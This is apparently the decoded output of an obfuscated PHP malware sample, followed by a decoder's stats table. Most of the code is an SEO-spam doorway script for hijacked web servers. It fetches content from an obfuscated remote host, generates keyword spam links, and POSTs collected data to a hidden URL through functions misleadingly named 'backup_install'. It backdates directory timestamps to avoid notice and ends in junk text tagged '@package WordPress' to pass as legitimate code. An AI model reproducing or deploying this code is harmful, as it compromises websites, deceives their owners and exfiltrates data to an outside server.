$str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.:/-";
return ($str);
}
function rdFile($file){
if(function_exists('file_get_contents')){
return file_get_contents($file);
}else{
$handle = fopen($file, "r");
$contents = fread($handle, filesize($file));
fclose($handle);
return $contents;
}
}
function cget($url,$loop=10){
$data = false; $i = 0;
while(!$data) {
$data = tcget($url); if($i++ >= $loop) break; }
return $data;
}
function tcget($url,$proxy=''){
global $OO0OO0O, $O00OO0, $OO0000, $O00OOO;
$data = ''; $url = "$OO0OO0O$O00OO0.$O00OOO/".$url;
$url = trim($url); if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60); $data = curl_exec($ch); curl_close($ch); }
if ($data == ''){
if (function_exists('file_get_contents') && $url){
$data = @file_get_contents($url); }
}
if (($data == '') && $url){
if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){
($fp = @fopen($url, 'r'));
if ($fp){
while (!@feof($fp)){
$data .= @fgets($fp) . ''; }
@fclose($fp); }
}
}
return $data;
}
function m_mkdir($dir){
if(!is_dir($dir)) mkdir($dir);
}
function gdir_file($gDir=''){
global $BT;
$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
$arr = explode(DIRECTORY_SEPARATOR,$gDir);
if(count($arr) <= 0) return;
if(!strstr($gDir,$BT))
$dir = $BT;
else
$dir = '';
for($i = 0 ; $i < count($arr)-1 ; $i++){
$dir .= '/' . $arr[$i];
m_mkdir($dir);
}
return $dir;
}
//ccccccgetend
function my_mkdir($dir){
global $fitime;
if(!is_dir($dir)){
mkdir($dir);
@touch($dir, $fitime, $fitime);
}
}
function generate_dir_file($gDir=''){
global $hostDir;
$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
$arr = explode(DIRECTORY_SEPARATOR,$gDir);
if(count($arr) <= 0) return;
if(!strstr($gDir,$hostDir))
$dir = $hostDir;
else
$dir = '';
for($i = 0 ; $i < count($arr)-1 ; $i++){
$dir .= DIRECTORY_SEPARATOR . $arr[$i];
my_mkdir($dir);
}
return $dir;
}
function strFilter($str){
$str = str_replace('`', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('~', '', $str);
$str = str_replace('!', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('@', '', $str);
$str = str_replace('#', '', $str);
$str = str_replace('$', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('%', '', $str);
$str = str_replace('^', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('*', '', $str);
$str = str_replace('(', '', $str);
$str = str_replace(')', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('-', '', $str);
$str = str_replace('_', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('+', '', $str);
$str = str_replace('=', '', $str);
$str = str_replace('|', '', $str);
$str = str_replace('\\', '', $str);
$str = str_replace('[', '', $str);
$str = str_replace(']', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('{', '', $str);
$str = str_replace('}', '', $str);
$str = str_replace('', '', $str);
$str = str_replace(':', '', $str);
$str = str_replace('<', '', $str);
$str = str_replace('>', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('\'', '', $str);
$str = str_replace('"', '', $str);
$str = str_replace(',', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('.', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('/', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('?', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('', '', $str);
$str = str_replace('&', '&', $str);
return trim($str);
}
function getalink($pid,$pname=''){
global $arrnametime,$arrKeywz,$arr_word,$strRand;
$pname = strFilter($pname);
$filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST'];
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{
$filePres = $siteLink."/"; }
$rsp = '#'. BZPRO .'\d+#';
$pname = trim($pname);
$pname = preg_replace('/\s+/', '-', $pname);
if(JDT == 3){
$rs = '#&[^;]+;#i';
$pname = preg_replace($rs,'',$pname);
while(strstr($pname,'&'))
$pname = str_replace('&','',$pname);
while(strstr($pname,'--'))
$pname = str_replace('--','-',$pname);
$linkCenter = $pname .'-' .$pid;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
if(strlen($pname) > 235){
$rs = '#&[^;]+;#i';
$pname = preg_replace($rs,'',$pname);
$pname = str_replace('&','',$pname);
$pname = str_replace('&',';',$pname);
if(function_exists("mb_substr")){
$pname = mb_substr($pname, 0, 235, 'utf-8');
}else{
$pname = substr($pname, 0, 235);
}
}
$linkCenter = $pname .'-'. $pid;
$linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter);
while(strstr($linkCenter,'--'))
$linkCenter = str_replace('--','-',$linkCenter);
$linkCenter = str_replace('/-','/',$linkCenter);
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
function rmhtmltag($tagname='',$str=''){
$rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#i';
$str = preg_replace($rulers,'',$str);
return $str;
}
function rmhtmltag2($tagname='',$str=''){
$rulers = '#<'.$tagname.'[^>]*>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#</'.$tagname.'>#s';
$str = preg_replace($rulers,'',$str);
$rulers = '#<'.$tagname.'[^>]*>#i';
$str = preg_replace($rulers,'',$str);
$rulers = '#</'.$tagname.'>#i';
$str = preg_replace($rulers,'',$str);
return $str;
}
// bbbbbbbbackupbg
function backup_install($dateArr,$loop=10){
$data = false; $i = 0;
while(!$data) {
$data = backup_install_once($dateArr); if($i++ >= $loop) break; }
return $data;
}
function backup_install_once($dateArr=array()){
global $O0O000;
$data = false;
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $O0O000);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($curl, CURLOPT_POSTFIELDS, $dateArr);
$data = curl_exec($curl);
curl_close($curl);
}else{
$tempDate = http_build_query($dateArr);
$params = array(
'http' => array(
'method' => 'POST',
'timeout' => 5,
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $tempDate
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($O0O000, null, $ctx);
}
return $data;
}
function backup_install_two($dateArr,$loop=10){
$data = false; $i = 0;
while(!$data) {
$data = backup_install_once_two($dateArr); if($i++ >= $loop) break; }
return $data;
}
function backup_install_once_two($dateArr=array()){
global $O0O000;
$data = false;
$tempDate = http_build_query($dateArr);
$params = array(
'http' => array(
'method' => 'POST',
'timeout' => 10,
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $tempDate
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($O0O000, null, $ctx);
return $data;
}
function save_install($dateArr=array()){
$tpstr = serialize($dateArr);
$tpstr = '<data>'.$tpstr.'</data>';
$tpstr = base64_encode(gzdeflate($tpstr));
@file_put_contents("./logs.txt",$tpstr);
}
// bbbbbbbbackupend
function is_ip($localIp,$ipRanges)
{
$localIp = ip2long($localIp);
foreach($ipRanges as $val)
{
$ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1]));
if($localIp >= $ipmin && $localIp <= $ipmax)
{
return true;
}
}
return false;}
function RandAbcs($length = ""){
$str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
return ($str);
}
function getarr(){
global $O00O0O;
$arr[0]=$O00O0O{6}.$O00O0O{8}.$O00O0O{5}.$O00O0O{19}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
$arr[1]=$O00O0O{15}.$O00O0O{11}.$O00O0O{5}.$O00O0O{14}.$O00O0O{13}.$O00O0O{6}.$O00O0O{14}.$O00O0O{14}.$O00O0O{3}.$O00O0O{18}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
$arr[2]=$O00O0O{9}.$O00O0O{14}.$O00O0O{17}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
$arr[3]=$O00O0O{3}.$O00O0O{18}.$O00O0O{13}.$O00O0O{24}.$O00O0O{2}.$O00O0O{4}.$O00O0O{18}.$O00O0O{0}.$O00O0O{11}.$O00O0O{4}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
$arr[4]=$O00O0O{14}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{15}.$O00O0O{4}.$O00O0O{6}.$O00O0O{14}.$O00O0O{14}.$O00O0O{3}.$O00O0O{18}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
return $arr;
}
function getthisdom(){
$myArrs = getarr();
return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
}
function get_real_ip(){
$ip = '';
/**
* resolve any proxies
*/
if (isset($_SERVER)) {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
$ip = $_SERVER['HTTP_X_FORWARDED'];
} elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED'])) {
$ip = $_SERVER['HTTP_FORWARDED'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
}
if (trim($ip) == '') {
if (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} else {
$ip = getenv('REMOTE_ADDR');
}
}
/**
* sanitize for validity as an IPv4 or IPv6 address
*/
$ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);
/**
* if it's still blank, set to a single dot
*/
if (trim($ip) == '') $ip = '.';
return $ip;
}
/**
* elastic erect exceedingly expansion grateful inhabitant issue neglect prosperity sake shield sorrow treaty variable withstand.
* burden consent conservative outset participate reluctant vary.
* essential expense extraordinary jam odd parade respond secure utilify.
* attitude bacteria durable insurance swallow.
* arichmetic electron entertainment export gallery idle numerrous pants rival sensible vacuum vary xploit.
* accomplish agent auxiliary battery consistent expansion expense flock mood mutual organ orient principal sophisticated vanish virtue.
* dash deposit explosion golf hardware liable orchestra sexual transplant.
* alter arise encounter excess hardware horror licence moist network private tremble.
* accomplish applause applianc distress earthquake gratitude guarantee hestiate infant maximum negative optimistic particularly presumably professional split tedious transport urgent.
* barrel emotion exclude expenditure sexual.
* adequate applianc architecture attitude campus career consent consistent delicate explosion garbage holy impose knot leap media mixture molecule oval partial semester suspicious terminal tidy.
* disturb global prospect simplicity.
* biology conquer core expansion germ herd inferior interpret loosen portion recruit sexual skim suspicious the utter valley variation violence volcano witness.
* defect gap gratitude impose liter nucleus rely stale via wonder.
* absolute advertise approve beforehand burst column debt display episode explosion hestiate loosen negative resistant resolve security terror waist.
* explosion focus household secure urge valid.
* burst conquer gap gear genuine germ hollow horrible massive obstacle portable smash spot suspicious tarnest trial.
* boundary bundle extinct idle insurance laser magnet maximum opponent pants principal priority prosperity scandal semiconductor severe temptation tendency title.
* acquire adhere commit comparative consistent dump import mood neutral partial prohibit recreation reveal split temporary tense tremble vitally.
* erect grant lest particle previous professional shrink submerge tropical variable.
* coarse ferfile gear humble loosen organ shelter stale tremble vain.
* germ sponsor subt xploit.
* agent applicable arouse barrier comedy cope discrimination explosive faculty fatigue gear global impose missile oblige region remedy spray tarnest trial utilise vertical virus.
* academy arouse barrel comedy elastic geography jail liberal mood priority sequence submit temporary the tide.
*
* @package WordPress
*/
//file end
Function Calls
define | 1 |
ini_set | 2 |
set_time_limit | 1 |
Stats
MD5 | 270cca6a79d7861d81f1f9f470fc6041 |
Eval Count | 0 |
Decode Time | 591 ms |